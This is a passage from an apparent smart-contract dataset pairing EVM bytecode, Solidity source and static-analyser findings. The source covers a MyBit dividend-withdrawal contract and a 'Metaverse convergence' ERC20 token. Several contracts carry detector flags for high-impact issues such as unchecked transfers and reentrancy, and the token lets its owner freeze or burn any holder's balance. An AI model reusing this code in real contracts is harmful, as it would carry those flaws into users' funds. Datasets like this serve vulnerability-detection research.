00000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377b816132ca565b811461378657600080fd5b50565b613792816132dc565b811461379d57600080fd5b50565b6137a981613308565b81146137b457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220671dd37175dfe182b0183427e17a8a0f39c31d5a544f8a6cf32315b939baba8e64736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,605 |
0x0615c4409c87fb2Ffe745282B034335544D9cd38 | pragma solidity ^0.4.24;
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface ERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address _who) external view returns (uint256);
function allowance(address _owner, address _spender) external view returns (uint256);
function transfer(address _to, uint256 _value) external returns (bool);
function approve(address _spender, uint256 _value) external returns (bool);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// Database interface
interface DBInterface {
function setContractManager(address _contractManager)
external;
// --------------------Set Functions------------------------
function setAddress(bytes32 _key, address _value)
external;
function setUint(bytes32 _key, uint _value)
external;
function setString(bytes32 _key, string _value)
external;
function setBytes(bytes32 _key, bytes _value)
external;
function setBytes32(bytes32 _key, bytes32 _value)
external;
function setBool(bytes32 _key, bool _value)
external;
function setInt(bytes32 _key, int _value)
external;
// -------------- Deletion Functions ------------------
function deleteAddress(bytes32 _key)
external;
function deleteUint(bytes32 _key)
external;
function deleteString(bytes32 _key)
external;
function deleteBytes(bytes32 _key)
external;
function deleteBytes32(bytes32 _key)
external;
function deleteBool(bytes32 _key)
external;
function deleteInt(bytes32 _key)
external;
// ----------------Variable Getters---------------------
function uintStorage(bytes32 _key)
external
view
returns (uint);
function stringStorage(bytes32 _key)
external
view
returns (string);
function addressStorage(bytes32 _key)
external
view
returns (address);
function bytesStorage(bytes32 _key)
external
view
returns (bytes);
function bytes32Storage(bytes32 _key)
external
view
returns (bytes32);
function boolStorage(bytes32 _key)
external
view
returns (bool);
function intStorage(bytes32 _key)
external
view
returns (bool);
}
contract Events {
DBInterface public database;
constructor(address _database) public{
database = DBInterface(_database);
}
function message(string _message)
external
onlyApprovedContract {
emit LogEvent(_message, keccak256(abi.encodePacked(_message)), tx.origin);
}
function transaction(string _message, address _from, address _to, uint _amount, address _token)
external
onlyApprovedContract {
emit LogTransaction(_message, keccak256(abi.encodePacked(_message)), _from, _to, _amount, _token, tx.origin);
}
function registration(string _message, address _account)
external
onlyApprovedContract {
emit LogAddress(_message, keccak256(abi.encodePacked(_message)), _account, tx.origin);
}
function contractChange(string _message, address _account, string _name)
external
onlyApprovedContract {
emit LogContractChange(_message, keccak256(abi.encodePacked(_message)), _account, _name, tx.origin);
}
function asset(string _message, string _uri, address _assetAddress, address _manager)
external
onlyApprovedContract {
emit LogAsset(_message, keccak256(abi.encodePacked(_message)), _uri, keccak256(abi.encodePacked(_uri)), _assetAddress, _manager, tx.origin);
}
function escrow(string _message, address _assetAddress, bytes32 _escrowID, address _manager, uint _amount)
external
onlyApprovedContract {
emit LogEscrow(_message, keccak256(abi.encodePacked(_message)), _assetAddress, _escrowID, _manager, _amount, tx.origin);
}
function order(string _message, bytes32 _orderID, uint _amount, uint _price)
external
onlyApprovedContract {
emit LogOrder(_message, keccak256(abi.encodePacked(_message)), _orderID, _amount, _price, tx.origin);
}
function exchange(string _message, bytes32 _orderID, address _assetAddress, address _account)
external
onlyApprovedContract {
emit LogExchange(_message, keccak256(abi.encodePacked(_message)), _orderID, _assetAddress, _account, tx.origin);
}
function operator(string _message, bytes32 _id, string _name, string _ipfs, address _account)
external
onlyApprovedContract {
emit LogOperator(_message, keccak256(abi.encodePacked(_message)), _id, _name, _ipfs, _account, tx.origin);
}
function consensus(string _message, bytes32 _executionID, bytes32 _votesID, uint _votes, uint _tokens, uint _quorum)
external
onlyApprovedContract {
emit LogConsensus(_message, keccak256(abi.encodePacked(_message)), _executionID, _votesID, _votes, _tokens, _quorum, tx.origin);
}
//Generalized events
event LogEvent(string message, bytes32 indexed messageID, address indexed origin);
event LogTransaction(string message, bytes32 indexed messageID, address indexed from, address indexed to, uint amount, address token, address origin); //amount and token will be empty on some events
event LogAddress(string message, bytes32 indexed messageID, address indexed account, address indexed origin);
event LogContractChange(string message, bytes32 indexed messageID, address indexed account, string name, address indexed origin);
event LogAsset(string message, bytes32 indexed messageID, string uri, bytes32 indexed assetID, address asset, address manager, address indexed origin);
event LogEscrow(string message, bytes32 indexed messageID, address asset, bytes32 escrowID, address indexed manager, uint amount, address indexed origin);
event LogOrder(string message, bytes32 indexed messageID, bytes32 indexed orderID, uint amount, uint price, address indexed origin);
event LogExchange(string message, bytes32 indexed messageID, bytes32 orderID, address indexed asset, address account, address indexed origin);
event LogOperator(string message, bytes32 indexed messageID, bytes32 id, string name, string ipfs, address indexed account, address indexed origin);
event LogConsensus(string message, bytes32 indexed messageID, bytes32 executionID, bytes32 votesID, uint votes, uint tokens, uint quorum, address indexed origin);
// --------------------------------------------------------------------------------------
// Caller must be registered as a contract through ContractManager.sol
// --------------------------------------------------------------------------------------
modifier onlyApprovedContract() {
require(database.boolStorage(keccak256(abi.encodePacked("contract", msg.sender))));
_;
}
}
// https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol
// @title SafeMath: overflow/underflow checks
// @notice Math operations with safety checks that throw on error
library SafeMath {
// @notice Multiplies two numbers, throws on overflow.
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
// @notice Integer division of two numbers, truncating the quotient.
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
// @notice Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
// @notice Adds two numbers, throws on overflow.
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
// @notice Returns fractional amount
function getFractionalAmount(uint256 _amount, uint256 _percentage)
internal
pure
returns (uint256) {
return div(mul(_amount, _percentage), 100);
}
}
interface DToken {
function withdraw() external returns (bool);
function getAmountOwed(address _user) external view returns (uint);
function balanceOf(address _tokenHolder) external view returns (uint);
function transfer(address _to, uint _amount) external returns (bool success);
function getERC20() external view returns (address);
}
// @title A dividend-token holding contract that locks tokens and retrieves dividends for assetManagers
// @notice This contract receives newly minted tokens and retrieves Ether or ERC20 tokens received from the asset
// @author Kyle Dewhurst & Peter Phillips, MyBit Foundation
contract AssetManagerFunds {
using SafeMath for uint256;
DBInterface public database;
Events public events;
uint256 private transactionNumber;
// @notice constructor: initializes database
constructor(address _database, address _events)
public {
database = DBInterface(_database);
events = Events(_events);
}
// @notice asset manager can withdraw his dividend fee from assets here
// @param : address _assetAddress = the address of this asset on the platform
function withdraw(address _assetAddress)
external
nonReentrant
returns (bool) {
require(_assetAddress != address(0));
require(msg.sender == database.addressStorage(keccak256(abi.encodePacked("asset.manager", _assetAddress))));
DToken token = DToken( _assetAddress);
uint amountOwed;
uint balanceBefore;
if (token.getERC20() == address(0)){
balanceBefore = address(this).balance;
amountOwed = token.getAmountOwed(address(this));
require(amountOwed > 0);
uint balanceAfter = balanceBefore.add(amountOwed);
require(token.withdraw());
require(address(this).balance == balanceAfter);
msg.sender.transfer(amountOwed);
}
else {
amountOwed = token.getAmountOwed(address(this));
require(amountOwed > 0);
DToken fundingToken = DToken(token.getERC20());
balanceBefore = fundingToken.balanceOf(address(this));
require(token.withdraw());
require(fundingToken.balanceOf(address(this)).sub(amountOwed) == balanceBefore);
fundingToken.transfer(msg.sender, amountOwed);
}
return true;
}
function retrieveAssetManagerTokens(address[] _assetAddress)
external
nonReentrant
returns (bool) {
require(_assetAddress.length <= 42);
uint[] memory payoutAmounts = new uint[](_assetAddress.length);
address[] memory tokenAddresses = new address[](_assetAddress.length);
uint8 numEntries;
for(uint8 i = 0; i < _assetAddress.length; i++){
require(msg.sender == database.addressStorage(keccak256(abi.encodePacked("asset.manager", _assetAddress[i]))) );
DToken token = DToken(_assetAddress[i]);
require(address(token) != address(0));
uint tokensOwed = token.getAmountOwed(address(this));
if(tokensOwed > 0){
DToken fundingToken = DToken(token.getERC20());
uint balanceBefore = fundingToken.balanceOf(address(this));
uint8 tokenIndex = containsAddress(tokenAddresses, address(token));
if (tokenIndex < _assetAddress.length) { payoutAmounts[tokenIndex] = payoutAmounts[tokenIndex].add(tokensOwed); }
else {
tokenAddresses[numEntries] = address(fundingToken);
payoutAmounts[numEntries] = tokensOwed;
numEntries++;
}
require(token.withdraw());
require(fundingToken.balanceOf(address(this)).sub(tokensOwed) == balanceBefore);
}
}
for(i = 0; i < numEntries; i++){
require(ERC20(tokenAddresses[i]).transfer(msg.sender, payoutAmounts[i]));
}
return true;
}
function retrieveAssetManagerETH(address[] _assetAddress)
external
nonReentrant
returns (bool) {
require(_assetAddress.length <= 93);
uint weiOwed;
for(uint8 i = 0; i < _assetAddress.length; i++){
require(msg.sender == database.addressStorage(keccak256(abi.encodePacked("asset.manager", _assetAddress[i]))));
DToken token = DToken(_assetAddress[i]);
uint balanceBefore = address(this).balance;
uint amountOwed = token.getAmountOwed(address(this));
if(amountOwed > 0){
uint balanceAfter = balanceBefore.add(amountOwed);
require(token.withdraw());
require(address(this).balance == balanceAfter);
weiOwed = weiOwed.add(amountOwed);
}
}
msg.sender.transfer(weiOwed);
return true;
}
function viewBalance(address _assetAddress, address _assetManager)
external
view
returns (uint){
require(_assetAddress != address(0), 'Empty address passed');
require(_assetManager == database.addressStorage(keccak256(abi.encodePacked("asset.manager", _assetAddress))), 'That user does not manage the asset');
DToken token = DToken( _assetAddress);
uint balance = token.balanceOf(address(this));
return balance;
}
function viewAmountOwed(address _assetAddress, address _assetManager)
external
view
returns (uint){
require(_assetAddress != address(0), 'Empty address passed');
require(_assetManager == database.addressStorage(keccak256(abi.encodePacked("asset.manager", _assetAddress))), 'That user does not manage the asset');
DToken token = DToken( _assetAddress);
uint amountOwed = token.getAmountOwed(address(this));
return amountOwed;
}
// @notice returns the index if the address is in the list, otherwise returns list length + 1
function containsAddress(address[] _addressList, address _addr)
internal
pure
returns (uint8) {
for (uint8 i = 0; i < _addressList.length; i++){
if (_addressList[i] == _addr) return i;
}
return uint8(_addressList.length + 1);
}
// @notice platform owners can destroy contract here
function destroy()
onlyOwner
external {
events.transaction('AssetManagerFunds destroyed', address(this), msg.sender, address(this).balance, address(0));
selfdestruct(msg.sender);
}
// @notice prevents calls from re-entering contract
modifier nonReentrant() {
transactionNumber += 1;
uint256 localCounter = transactionNumber;
_;
require(localCounter == transactionNumber);
}
// @notice reverts if caller is not the owner
modifier onlyOwner {
require(database.boolStorage(keccak256(abi.encodePacked("owner", msg.sender))) == true);
_;
}
function ()
payable
public {
emit EtherReceived(msg.sender, msg.value);
}
event EtherReceived(address sender, uint amount);
} | 0x6080604052600436106100745763ffffffff60e060020a6000350416630cf3939f81146100b05780630e014cf8146100e95780633da532cc146101105780633daae2801461014457806351cff8d914610164578063713b563f1461018557806383197ef0146101b6578063b5f8558c146101cd575b6040805133815234602082015281517f1e57e3bb474320be3d2c77138f75b7c3941292d647f5f9634e33a8e94e0e069b929181900390910190a1005b3480156100bc57600080fd5b506100d7600160a060020a03600435811690602435166101e2565b60408051918252519081900360200190f35b3480156100f557600080fd5b506100d7600160a060020a0360043581169060243516610464565b34801561011c57600080fd5b5061013060048035602481019101356106c7565b604080519115158252519081900360200190f35b34801561015057600080fd5b5061013060048035602481019101356109f4565b34801561017057600080fd5b50610130600160a060020a0360043516611086565b34801561019157600080fd5b5061019a6116e8565b60408051600160a060020a039092168252519081900360200190f35b3480156101c257600080fd5b506101cb6116f7565b005b3480156101d957600080fd5b5061019a6118f2565b60008080600160a060020a0385161515610246576040805160e560020a62461bcd02815260206004820152601460248201527f456d707479206164647265737320706173736564000000000000000000000000604482015290519081900360640190fd5b6000546040805160008051602061198e833981519152602080830191909152600160a060020a038981166c0100000000000000000000000002602d8401528351808403602101815260419093019384905282519416936304f49a3a93918291908401908083835b602083106102cc5780518252601f1990920191602091820191016102ad565b51815160209384036101000a60001901801990921691161790526040805192909401829003822063ffffffff881660e060020a0283526004830152925160248083019650939450929083900301905081600087803b15801561032d57600080fd5b505af1158015610341573d6000803e3d6000fd5b505050506040513d602081101561035757600080fd5b5051600160a060020a038581169116146103e1576040805160e560020a62461bcd02815260206004820152602360248201527f54686174207573657220646f6573206e6f74206d616e6167652074686520617360448201527f7365740000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b6040805160e560020a6301defd490281523060048201529051869350600160a060020a03841691633bdfa9209160248083019260209291908290030181600087803b15801561042f57600080fd5b505af1158015610443573d6000803e3d6000fd5b505050506040513d602081101561045957600080fd5b505195945050505050565b60008080600160a060020a03851615156104c8576040805160e560020a62461bcd02815260206004820152601460248201527f456d707479206164647265737320706173736564000000000000000000000000604482015290519081900360640190fd5b6000546040805160008051602061198e833981519152602080830191909152600160a060020a038981166c0100000000000000000000000002602d8401528351808403602101815260419093019384905282519416936304f49a3a93918291908401908083835b6020831061054e5780518252601f19909201916020918201910161052f565b51815160209384036101000a60001901801990921691161790526040805192909401829003822063ffffffff881660e060020a0283526004830152925160248083019650939450929083900301905081600087803b1580156105af57600080fd5b505af11580156105c3573d6000803e3d6000fd5b505050506040513d60208110156105d957600080fd5b5051600160a060020a03858116911614610663576040805160e560020a62461bcd02815260206004820152602360248201527f54686174207573657220646f6573206e6f74206d616e6167652074686520617360448201527f7365740000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051869350600160a060020a038416916370a082319160248083019260209291908290030181600087803b15801561042f57600080fd5b6002805460010190819055600090819081908190819081908190605d8911156106ef57600080fd5b600095505b60ff86168911156109a757600054600160a060020a03166304f49a3a8b8b60ff8a1681811061071f57fe5b90506020020135600160a060020a0316604051602001808060008051602061198e833981519152815250600d0182600160a060020a0316600160a060020a03166c010000000000000000000000000281526014019150506040516020818303038152906040526040518082805190602001908083835b602083106107b45780518252601f199092019160209182019101610795565b51815160209384036101000a60001901801990921691161790526040805192909401829003822063ffffffff881660e060020a0283526004830152925160248083019650939450929083900301905081600087803b15801561081557600080fd5b505af1158015610829573d6000803e3d6000fd5b505050506040513d602081101561083f57600080fd5b5051600160a060020a0316331461085557600080fd5b898960ff881681811061086457fe5b6040805160e560020a6301defd490281523060048201819052915160209384029590950135600160a060020a03169950903197508893633bdfa9209350602480830193928290030181600087803b1580156108be57600080fd5b505af11580156108d2573d6000803e3d6000fd5b505050506040513d60208110156108e857600080fd5b50519250600083111561099c57610905848463ffffffff61190116565b915084600160a060020a0316633ccfd60b6040518163ffffffff1660e060020a028152600401602060405180830381600087803b15801561094557600080fd5b505af1158015610959573d6000803e3d6000fd5b505050506040513d602081101561096f57600080fd5b5051151561097c57600080fd5b3031821461098957600080fd5b610999878463ffffffff61190116565b96505b6001909501946106f4565b604051339088156108fc029089906000818181858888f193505050501580156109d4573d6000803e3d6000fd5b506001975060025481146109e757600080fd5b5050505050505092915050565b600280546001019081905560009060609081908390819081908190819081908190602a8c1115610a2357600080fd5b604080518d81526020808f028201019091528c8015610a4c578160200160208202803883390190505b5099508c8c9050604051908082528060200260200182016040528015610a7c578160200160208202803883390190505b509850600096505b60ff87168c1115610f7857600054600160a060020a03166304f49a3a8e8e60ff8b16818110610aaf57fe5b90506020020135600160a060020a0316604051602001808060008051602061198e833981519152815250600d0182600160a060020a0316600160a060020a03166c010000000000000000000000000281526014019150506040516020818303038152906040526040518082805190602001908083835b60208310610b445780518252601f199092019160209182019101610b25565b51815160209384036101000a60001901801990921691161790526040805192909401829003822063ffffffff881660e060020a0283526004830152925160248083019650939450929083900301905081600087803b158015610ba557600080fd5b505af1158015610bb9573d6000803e3d6000fd5b505050506040513d6020811015610bcf57600080fd5b5051600160a060020a03163314610be557600080fd5b8c8c60ff8916818110610bf457fe5b90506020020135600160a060020a031695506000600160a060020a031686600160a060020a031614151515610c2857600080fd5b6040805160e560020a6301defd490281523060048201529051600160a060020a03881691633bdfa9209160248083019260209291908290030181600087803b158015610c7357600080fd5b505af1158015610c87573d6000803e3d6000fd5b505050506040513d6020811015610c9d57600080fd5b505194506000851115610f6d5785600160a060020a0316634ece90a86040518163ffffffff1660e060020a028152600401602060405180830381600087803b158015610ce857600080fd5b505af1158015610cfc573d6000803e3d6000fd5b505050506040513d6020811015610d1257600080fd5b5051604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051919550600160a060020a038616916370a08231916024808201926020929091908290030181600087803b158015610d7957600080fd5b505af1158015610d8d573d6000803e3d6000fd5b505050506040513d6020811015610da357600080fd5b50519250610db1898761191b565b915060ff82168c1115610e0957610de9858b8460ff16815181101515610dd357fe5b602090810290910101519063ffffffff61190116565b8a8360ff16815181101515610dfa57fe5b60209081029091010152610e56565b83898960ff16815181101515610e1b57fe5b600160a060020a03909216602092830290910190910152895185908b9060ff8b16908110610e4557fe5b602090810290910101526001909701965b85600160a060020a0316633ccfd60b6040518163ffffffff1660e060020a028152600401602060405180830381600087803b158015610e9457600080fd5b505af1158015610ea8573d6000803e3d6000fd5b505050506040513d6020811015610ebe57600080fd5b50511515610ecb57600080fd5b82610f638686600160a060020a03166370a08231306040518263ffffffff1660e060020a0281526004018082600160a060020a0316600160a060020a03168152602001915050602060405180830381600087803b158015610f2b57600080fd5b505af1158015610f3f573d6000803e3d6000fd5b505050506040513d6020811015610f5557600080fd5b50519063ffffffff61197b16565b14610f6d57600080fd5b600190960195610a84565b600096505b8760ff168760ff16101561106457888760ff16815181101515610f9c57fe5b90602001906020020151600160a060020a031663a9059cbb338c8a60ff16815181101515610fc657fe5b906020019060200201516040518363ffffffff1660e060020a0281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b15801561102257600080fd5b505af1158015611036573d6000803e3d6000fd5b505050506040513d602081101561104c57600080fd5b5051151561105957600080fd5b600190960195610f7d565b60019a50600254811461107657600080fd5b5050505050505050505092915050565b600280546001019081905560009081908190819081908190600160a060020a03881615156110b357600080fd5b6000546040805160008051602061198e833981519152602080830191909152600160a060020a038c81166c0100000000000000000000000002602d8401528351808403602101815260419093019384905282519416936304f49a3a93918291908401908083835b602083106111395780518252601f19909201916020918201910161111a565b51815160209384036101000a60001901801990921691161790526040805192909401829003822063ffffffff881660e060020a0283526004830152925160248083019650939450929083900301905081600087803b15801561119a57600080fd5b505af11580156111ae573d6000803e3d6000fd5b505050506040513d60208110156111c457600080fd5b5051600160a060020a031633146111da57600080fd5b8795506000600160a060020a031686600160a060020a0316634ece90a86040518163ffffffff1660e060020a028152600401602060405180830381600087803b15801561122657600080fd5b505af115801561123a573d6000803e3d6000fd5b505050506040513d602081101561125057600080fd5b5051600160a060020a031614156113b5576040805160e560020a6301defd490281523060048201819052915191319550600160a060020a03881691633bdfa920916024808201926020929091908290030181600087803b1580156112b357600080fd5b505af11580156112c7573d6000803e3d6000fd5b505050506040513d60208110156112dd57600080fd5b50519450600085116112ee57600080fd5b6112fe848663ffffffff61190116565b925085600160a060020a0316633ccfd60b6040518163ffffffff1660e060020a028152600401602060405180830381600087803b15801561133e57600080fd5b505af1158015611352573d6000803e3d6000fd5b505050506040513d602081101561136857600080fd5b5051151561137557600080fd5b3031831461138257600080fd5b604051339086156108fc029087906000818181858888f193505050501580156113af573d6000803e3d6000fd5b506116cb565b6040805160e560020a6301defd490281523060048201529051600160a060020a03881691633bdfa9209160248083019260209291908290030181600087803b15801561140057600080fd5b505af1158015611414573d6000803e3d6000fd5b505050506040513d602081101561142a57600080fd5b505194506000851161143b57600080fd5b85600160a060020a0316634ece90a86040518163ffffffff1660e060020a028152600401602060405180830381600087803b15801561147957600080fd5b505af115801561148d573d6000803e3d6000fd5b505050506040513d60208110156114a357600080fd5b5051604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051919350600160a060020a038416916370a08231916024808201926020929091908290030181600087803b15801561150a57600080fd5b505af115801561151e573d6000803e3d6000fd5b505050506040513d602081101561153457600080fd5b5051604080517f3ccfd60b0000000000000000000000000000000000000000000000000000000081529051919550600160a060020a03881691633ccfd60b916004808201926020929091908290030181600087803b15801561159557600080fd5b505af11580156115a9573d6000803e3d6000fd5b505050506040513d60208110156115bf57600080fd5b505115156115cc57600080fd5b8361162c8684600160a060020a03166370a08231306040518263ffffffff1660e060020a0281526004018082600160a060020a0316600160a060020a03168152602001915050602060405180830381600087803b158015610f2b57600080fd5b1461163657600080fd5b604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152336004820152602481018790529051600160a060020a0384169163a9059cbb9160448083019260209291908290030181600087803b15801561169e57600080fd5b505af11580156116b2573d6000803e3d6000fd5b505050506040513d60208110156116c857600080fd5b50505b6001965060025481146116dd57600080fd5b505050505050919050565b600054600160a060020a031681565b600054604080517f6f776e65720000000000000000000000000000000000000000000000000000006020808301919091526c0100000000000000000000000033026025830152825160198184030181526039909201928390528151600160a060020a0390941693633b7bfda093918291908401908083835b6020831061178e5780518252601f19909201916020918201910161176f565b51815160209384036101000a60001901801990921691161790526040805192909401829003822063ffffffff881660e060020a0283526004830152925160248083019650939450929083900301905081600087803b1580156117ef57600080fd5b505af1158015611803573d6000803e3d6000fd5b505050506040513d602081101561181957600080fd5b5051151560011461182957600080fd5b600154604080517f42b425aa000000000000000000000000000000000000000000000000000000008152306024820181905233604483015231606482015260006084820181905260a06004830152601b60a48301527f41737365744d616e6167657246756e64732064657374726f796564000000000060c48301529151600160a060020a03909316926342b425aa9260e48084019391929182900301818387803b1580156118d657600080fd5b505af11580156118ea573d6000803e3d6000fd5b503392505050ff5b600154600160a060020a031681565b60008282018381101561191057fe5b8091505b5092915050565b6000805b83518160ff16101561196f5782600160a060020a0316848260ff1681518110151561194657fe5b90602001906020020151600160a060020a0316141561196757809150611914565b60010161191f565b50509051600101919050565b60008282111561198757fe5b50900390560061737365742e6d616e6167657200000000000000000000000000000000000000a165627a7a72305820ba942a82b1588a0960217f9dcfbfc6aa2bc8a231ef8b534eafb6e78aa7fada3d0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}} | 10,606 |
0xe54613083f60bbabde389320074953053562c685 | // ----------------------------------------------------------------------------
// Metaverse convergence Contract
// Name : Metaverse convergence
// Symbol : META
// Decimals : 18
// InitialSupply : 210,000,000,000 META
// ----------------------------------------------------------------------------
pragma solidity 0.5.8;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 value) internal {
require(account != address(0), "ERC20: burn from the zero address");
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, msg.sender, _allowances[account][msg.sender].sub(amount));
}
}
contract Metaverseconvergence is ERC20 {
string public constant name = "Metaverse convergence";
string public constant symbol = "META";
uint8 public constant decimals = 18;
uint256 public constant initialSupply = 210000000000 * (10 ** uint256(decimals));
constructor() public {
super._mint(msg.sender, initialSupply);
owner = msg.sender;
}
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
modifier onlyOwner() {
require(msg.sender == owner, "Not owner");
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0), "Already Owner");
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused, "Paused by owner");
_;
}
modifier whenPaused() {
require(paused, "Not paused now");
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
event Frozen(address target);
event Unfrozen(address target);
mapping(address => bool) internal freezes;
modifier whenNotFrozen() {
require(!freezes[msg.sender], "Sender account is locked.");
_;
}
function freeze(address _target) public onlyOwner {
freezes[_target] = true;
emit Frozen(_target);
}
function unfreeze(address _target) public onlyOwner {
freezes[_target] = false;
emit Unfrozen(_target);
}
function isFrozen(address _target) public view returns (bool) {
return freezes[_target];
}
function transfer(
address _to,
uint256 _value
)
public
whenNotFrozen
whenNotPaused
returns (bool)
{
releaseLock(msg.sender);
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
require(!freezes[_from], "From account is locked.");
releaseLock(_from);
return super.transferFrom(_from, _to, _value);
}
event Burn(address indexed burner, uint256 value);
function burn(address _who, uint256 _value) public onlyOwner {
require(_value <= super.balanceOf(_who), "Balance is too small.");
_burn(_who, _value);
emit Burn(_who, _value);
}
struct LockInfo {
uint256 releaseTime;
uint256 balance;
}
